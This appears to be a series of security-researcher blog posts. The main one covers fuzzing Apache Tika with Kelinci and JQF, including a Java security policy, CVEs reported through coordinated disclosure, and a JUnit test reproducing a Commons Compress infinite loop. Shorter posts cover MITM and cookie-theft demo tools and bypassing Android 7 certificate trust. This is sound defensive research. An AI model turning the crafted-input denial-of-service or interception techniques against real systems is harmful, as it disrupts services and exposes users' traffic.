Apache Tika is a content analysis toolkit and can extract text content from over a thousand different file formats. A quick’n’dirty grep-estimate turned out that it has about 247 Java JAR files as dependencies at compile time. Apache Tika also had some severe security issues in the past. So as a test target Apache Tika seemed to fit perfectly. On the other hand I also knew that using such a big code base is a bad idea when fuzzing with AFL. AFL will more or less quickly deplete the fuzzing bitmap when the instrumented code is too large. Afterwards, AFL will be unable to detect when an input results in an interesting code path being taken. I was also not sure if I could successfully use the Java fuzzers to instrument the huge Apache Tika project. However, I decided to go on with this experiment.

I first tried to get things running with Kelinci, but ran into multiple issues and ended up creating a “works-for-me” Kelinci fork. After Kelinci was running, I also tried to get the JQF fuzzer running, however, I ran into similar but distinct problems and therefore decided to stick with Kelinci at this point. For Tika I had to adopt the Java Security Manager Policy:

grant {
    //Permissions required by Kelinci
    permission java.lang.RuntimePermission "modifyThread";
    
    permission java.net.SocketPermission "localhost:7007", "listen, resolve";
    permission java.net.SocketPermission "localhost:7008", "listen, resolve";
    permission java.net.SocketPermission "localhost:7009", "listen, resolve";
    permission java.net.SocketPermission "localhost:7010", "listen, resolve";
    permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
    
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "corpus/*", "read, write";
    permission java.io.FilePermission "crashes/*", "read";
    permission java.io.FilePermission "out_dir/*", "read, write";
    
    //Permissions required by Tika
    permission java.io.FilePermission "tika-app-1.17.jar", "read";
    permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";

    permission java.io.FilePermission "/tmp/*", "read, write, delete";
    
    permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
    
    permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
    permission java.util.PropertyPermission "tika.config", "read";
    permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
    permission java.util.PropertyPermission "pdfbox.fontcache", "read";
    permission java.util.PropertyPermission "file.encoding", "read";

    //When parsing certain PDFs...
    permission java.util.PropertyPermission "user.home", "read";
    permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
    
    //When parsing certain .mdb files...
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
};

To produce this policy file manually was much more annoying than for Apache Commons. The reason is that the necessary permissions we need to whitelist depend on the input file. So if a PNG file is fed into Apache Tika, it will need other runtime property permissions than if a PDF file is fed into Apache Tika. This means that we have to do a dry run first that will go through the entire input corpus of files and run them once with the minimum policy file. If a security exception occurs, it might be necessary to whitelist another permission. This process takes a lot of time. However, as an article from 2004 states:

There’s currently no tool available to automatically generate a [Java security] policy file for specific code.

So that’s why I wrote another quick’n’dirty hack/tool to generate Java security policy files. As it’s not a beauty I gave it the ugly name TMSJSPGE on github. However, it does it’s job and generates a Java security policy file. It will feed each corpus file to the target process (Tika in this case) and add a new rule to the security policy.

If you look at the above property permissions, I’m still not sure what they are all doing. However, I just decided I’ll go with them and allow Tika to use them.

If you run your fuzzer with different input files, you might be required to adopt the Java Security policy, as other code paths might require new permissions. So the above security policy for Apache Tika is likely to be incomplete.

Apache Tika findings

As already explained, a good input corpus is vital for a successful fuzzing run. Additionally, I had to run Tika with as many files as possible to make sure the Java Security Policy covered most permissions necessary. Over the years I’ve collected many input sample files (around 100’000) by doing fuzzing runs with various libraries and by collecting third-party files (that’s actually a topic for another day). So I decided I will run the TMSJSPGE tool with each of these 100’000 files to create the best Security Policy I can. When I checked back on the TMSJSPGE I saw that the tool was stuck feeding a certain file to Apache Tika. This means that Apache Tika never returned a result and the process hung. And that meant I already found security issues in Apache Tika 1.17 before I even started fuzzing. After removing the file that resulted in a hang and restarting TMSJSPGE, Apache Tika hung with several other files as well. Some of the files triggered the same hang and after deduplicating, the following two security issues were reported to Apache Tika:

I was wondering where these input files I had in my collection were coming from. Several BPG files triggering the issue were from a fuzzing run I once did for libbpg, so they were produced by AFL when creating BPG files for a native library. But the chm file triggering the other issue was a file that I downloaded a long time ago from the fuzzing project. It was a file Hanno Böck provided that came out of a fuzzing run for CHMLib. Interesting.

So here I was and had already found an uncaught exception in Apache Commons and two low severity issues in Apache Tika without even starting to do proper fuzzing.

To get an idea of the Java classes causing the issue I ran Apache Tika with a debugger and the triggering file, stopped the execution during the infinite loop and printed a stack trace. But most of the hard work to figure out the actual root causes of these issues was done by the maintainers, most importantly by Tim Allison and the Apache Tika team. That is also true for all the upcoming issues.

Fuzzing Apache Tika with Kelinci

After sorting out the input files that resulted in a hang, I started a couple of afl-fuzz fuzzing instances and waited. The behavior of the Kelinci fuzzer is sometimes a little brittle, so I often got the “Queue full” error message. It means the fuzzer is not running properly anymore and that timeouts will occur. I had to restart the fuzzing instances several times and tried to tweak the command line settings to improve stability. However, over time the instances often managed to fill up the queue again. Anyway, a couple of instances ran fine and found several “AFL crashes”. Keep in mind that “AFL crashes” in this case just mean uncaught Java exceptions. After looking through and deduplicating issues, I reported the following non-security (or very low severity, a matter of definition) issues to the maintainers of the libraries used by Apache Tika:

The hang directory of AFL did not show any interesting results. After running each of the files in the hang directory with Apache Tika I found a PDF file that took nearly a minute to process, but none of the files lead to a full hang of the Tika thread. I suspect that the synchronization of the two processes was one of the reasons no infinite hangs were found by the fuzzer.

However, at this stage I was most disappointed that none of the crashes indicated that anything outside of the specified Java Security Manager policy was triggered. I guess this was a combination of my brittle configuration of Kelinci and the fact that it is probably not as easy to find arbitrary file read or write issues. But in the end you often simply don’t know what’s exactly the reason for not being successful with fuzzing.

JQF and a bug in Java

At one point I also wanted to try the JQF fuzzer on my ARM fuzzing machines with Apache Tika. It didn’t work for me at first and I found out that OpenJDK on ARM had horrible performance with JQF, so I switched to Oracle’s Java. Additionally, Apache Tika would simply not run with JQF. After the Tika 1.17 issues were fixed in Apache Tika I thought it was time to notify the maintainers of the fuzzers, so they could try to fuzz Apache Tika themselves. Rohan (maintainer of JQF) quickly fixed three independent issues and implemented a test case/benchmark for the fixed Tika 1.18 in JQF. After that I was able to fuzz Tika with my own corpus, but the performance was very bad for various reasons. One reason was the weak ARM boxes, but JQF couldn’t handle timeouts either (AFL’s -t switch). Rohan attempted a fix, but it’s only working sometimes. Rohan was also very quick to implement afl-cmin and said running with a Java Security Manager policy should be no problem. However, I couldn’t try those features properly due to the performance problems on the ARM machines. As I was not in the mood to switch fuzzing boxes, I just tried to get the fuzzer running somehow. After cutting down the input corpus and removing all PDF files that were taking potentially longer to be processed by Apache Tika, the fuzzer crept slowly forward. After not paying attention for 10 days, another hang was found by JQF in Apache Tika 1.18… I thought! However, after submitting this bug to Apache Tika, they pointed out that this was actually a bug in the Java standard libraries affecting Java before version 10 that I rediscovered:

The hang file was created by the JQF fuzzer by modifying a sample QCP file “fart_3.qcp” from the public ffmpeg samples. So without actively targeting Java itself, I had rediscovered a bug in Java’s standard libraries, as Tika used it. Quite an interesting twist.

Adding a x86 fuzzing box

At the same time I also realized that these ARM JQF fuzzer instances were stuck. The endless RIFF loop file was detected as a crash (which might just be bad behavior of JQF for hangs), so I didn’t really know the reason why they were stuck currently. I tried to run the current input file on another machine, but the testcase didn’t hang. So I didn’t figure out why the fuzzer got stuck, but as Rohan pointed out the timeout handling (AFL’s “hangs”) isn’t optimal yet. JQF will detect timeouts when the infinite loop hits instrumented part of the Java code, as it will be able to measure the time that passed. However, JQF will hang for now if a test file makes the code loop forever in non-instrumented code. I removed all RIFF/QCP input files so hopefully I wouldn’t rediscover the RIFF endless loop bug again (I never switched to Java 10) and restarted the fuzzing instances.

I decided to additionally use a 32bit x86 VMWare fuzzing box, maybe it would run more stable there. I setup JQF with Java 8 again and without RIFF files as inputs. The x86 virtual machine performed much better, executing around 10 testcases per second. So I let these instances run for several days… just to realize when I came back that both instances got stuck after 7 hours of running. I checked again if the current input file could be the reason and this time this was exactly the problem, so another bug. Rinse and repeat, the next morning another bug. So after a while (at least 5 iterations) I had a bag full of bugs:

  • An endless loop in Junrar (file 11_hang_junrar_zero_header2.rar), where the code simply never returned when the rar header size is zero. I contacted one of the maintainers, beothorn. It was fixed and this issue ended up as CVE-2018-12418.
  • Infinite loop in Apache Tika’s IptcAnpaParser for handling IPTC metadata (file 12_hang_tika_iptc.iptc), where the code simply never returned. This was fixed and assigned CVE-2018-8017.
  • Infinite loop in Apache PDFbox’ AdobeFontMetricsParser (file 16_570s_fontbox_OOM.afm), after nearly 10 minutes (on my machine) leading to an out of memory situation. This was fixed and assigned CVE-2018-8036.
  • An issue when a specially crafted zip content is read with Apache Commons Compress (file 14_69s_tagsoup_HTMLScanner_oom.zip) that leads to an out of memory exception. This was fixed in Apache Commons Compress and CVE-2018-11771 was assigned. Another zip file created (file 15_680s_commons_IOE_push_back_buffer_full.zip) runs for 11 minutes (on my machine) leading to IOException with a message that the push back buffer is full and is probably related to the issue. Also probably the same issue is a file where Tika takes an arbitrary amount of time (during the tests between 20 seconds and 11 minutes) to process a zip file (file 13_48s_commons_truncated_zip_entry3.zip). This last one is worth a note as JQF correctly detected this as a hang and put it in AFL’s hang directory. The underlying problem of CVE-2018-11771 was that a read operation started to return alternating values of -1 and 345 when called by an InputStreamReader with UTF-16. The minimal code to reproduce is:
@Test
public void testMarkResetLoop() throws Exception {
    InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
    ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
    ZipArchiveEntry entry = archive.getNextZipEntry();
    while (entry != null) {
        if (entry.getName().contains("one*line-with-eol.txt")) {
            Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
            int i = r.read();
            int cnt = 0;
            while (i != -1) {
                if (cnt++ > 100000) {
                    throw new RuntimeException("Infinite loop detected...");
                }
                i = r.read();
            }
        }
        entry = archive.getNextZipEntry();
    }
}

After all these fixes I ran the fuzzer again on a nightly build of Apache Tika 1.19 and it didn’t find any new issues in more than 10 days. So my approach of fuzzing Tika seems to be exhausted. As always, it doesn’t mean another approach wouldn’t find new issues.

Summary

This is where I stopped my journey of Java fuzzing for now. I was a little disappointed that the approach with the Java Security Manager still did not find any security issues such as SSRF and that I only found ressource management issues. However, I’m pretty sure this strategy is still the way to go, it probably just needs other targets. As you can see there are loose ends everywhere and I’m definitely planning to go back to Java fuzzing:

  • Use Kelinci/JQF with other Apache Commons parsers, e.g. for PNG
  • Write sanitizers such as file or socket opening for native code AFL
  • Contribute to the AFL-based Java fuzzers

However, for now there are other things to break on my stack.

I would like to thank Tim Allison of the Apache Tika project, it was a pleasure to do coordinated disclosure with him. And also a big thanks to Rohan Padhye who was really quick implementing new features in JQF.

Make sure you add the files included on github to your input corpus collection, as we saw it’s worth having a collection of crashes for other libraries when targeting new libraries.

Activity wrap-up including polyglots, RIPS, UploadScanner and Java fuzzing

A tweet of takesako including a C/C++/Perl/Ruby/Python polyglot got me interested, so I created two follow-up polyglots based on his work and put them on github.

Recently I also evaluated the RIPS PHP scanner and I did that with some randomly chosen WordPress plugins. Afterwards I manually looked at the code of the plugins, to see if the scanner missed anything. Long story short, RIPS is probably going to have two new issue definition/checks in its future version, so hopefully it will find PHP type unsafe comparisons like the one I found in this WordPress plugin in the future. Additionally, they are planning to flag when a static string is used as an input for a hash function. Hashing a static string is pointless and bad from a performance perspective. But it might also indicate the creation of default or backdoor user accounts with static passwords. While discussing the idea of type unsafe comparisons, albinowax also added a new check for the backslash powered scanner Burp extension.

I will be giving a workshop on my yet unreleased Burp Proxy UploadScanner extension at the area41 conference in Zurich. I’ve been developing it for more than a year and I’m really looking forward to releasing it after the workshop (it will go public on github). It can be used to test HTTP based file uploads. The “presales” tickets are gone, but if you catch me at the conference in the morning you might be able to get one of the last seats.

I’ve also released a Java security manager policy generator, which is just a little hack but at least it works. I’m doing some research in the area of Java fuzzing at the moment, more about that later this year.

Schubser and his cookie dealing friend

I actually forgot to post this in February, so I’m a little late but the topic is as current as it was back then. One week in February my colleague, Jan Girlich and me took some time to review our tools and make three of them available on github.

Jan wrote a Proof of Concept (PoC) Android app that allows exploiting Java object deserialization vulnerabilities in Android and named this project modjoda (Modzero Java Object Deserialization on Android). To test the issue, he also wrote a vulnerable demo application to try the exploit.

I wrote mod0schubser, which provides a simple TCP- and TLS-level Man-In-The-Middle (MITM) proxy for people with python experience. It can be used when all the other proxy tools seem to be too complicated and you just want to do some modifications of the traffic in Python. Additionally, I wrote the mod0cookiedealer tool, a tool to demonstrate the impact of missing HTTP cookie flags (secure and HTTPonly). If you remember Firesheep, mod0cookiedealer is a modern implementation of Firesheep as a browser web-extension.

BSides Zurich – Nail in the JKS coffin

On Saturday I was happy to speak at the fabulous BSides Zurich about the Java Key Store topic. You can find my slides “Nail in the JKS coffin” as a PDF here. It was my second time at a BSides format and I really like the idea of having a short talk and then some more time to discuss the topic with interested people. I also included the “after the presentation” slides we used for roughly 50% of the discussion time. I hope you enjoyed the talk and I’m looking forward to hear some feedback. Although it was sold out, you should definitely come next year, it was one of my favorite public conferences.

cheers,
floyd

Android Nougat’s certificate pinning security mechanism

If you are a pentester like me, chances are you are doing mobile application reviews on Android. One of the most important things to check is the server API. On the other hand we might want to see what possibilities a server has to influence the Android app with its responses. For both the easiest and most straight forward method is to do a Man-In-The-Middle attack in the lab and look at the network traffic. How do we do this if the mobile app uses TLS? Easy, just install a user CA certificate.

Before Android 7 that was straight forward. After you installed the CA certificate, there was a little annoying screen showing a warning in the notifications every time you start up your phone, but it worked fine for everyone. However, starting with Android 7 installing a CA certificate is not affecting mobile apps, I tested that and the official announcement about this user-added certificate security is here. User installed CA certificates won’t be trusted by mobile apps and Android claims there is some security gain from this. So let’s look at this new “security” feature of Google’s Android.

First of all who is affected by this security feature? I think only the defender side has to jump through this hoop. Every real-world attack vector I can think of is not very realistic. First of all, a user would need to fully cooperate to let an attacker exploit this. As Android is not opening the security settings automatically when you download a certificate (like iOS), an attacker would have to convince the user to go to the settings dialogue, go to the security settings, scroll down, tap on “install certificate” and choose the correct file from the file system. Let’s say an attacker will setup a Wi-Fi access point and forces the user to do this or otherwise the user won’t get Internet access. This is the only scenario I can think of where a user might at all consider installing such a certificate. You might say that can happen with non-technical users, but then why don’t we just add a big red warning that websites trying to convince you to install a CA certificate are evil? That would suffice in my opinion. If a user would be so ignorant and install an unknown CA despite the warnings, we are in much bigger trouble. That user will probably also type all his usernames and passwords into any website forms that look remotely like a known login form, has an invalid TLS certificate or doesn’t use TLS at all. So for example the attacker could do easy phishing. For users of personal Android phones this is probably the biggest issue.

But let’s also consider corporate Android phones. I understand that administrators don’t want their users to decide on such a security critical topic. But why doesn’t Android just implement an Administrator API rule that would disabling installation of user CA certificates and delete all already installed ones on managed phones? There is already an Administration API that does various such things.

Secondly, why does Android think that a user installed certificate is less trusted than the hundreds of preinstalled, nation-state-attacker-owned CAs? Your Android already comes with various preinstalled CAs, which are not very thrustworthy in my opinion.

It seems Android is raising the bar for defenders, not for attackers. I don’t believe Android is defending against any real attack vector. It boarders to pretending to do security (snakeoil).

On the other hand I know how to disassemble an app and reassemble it to circumvent this new security feature. There are also Android apps that will allow you to install CA certificates in the root CA store on rooted phones, which is by far the best solution on rooted phones. Use Magisk and you have your perfect phone for security analysis.

I thought I’ve seen many strange Android security decisions, this is exceptional. Or is it just me?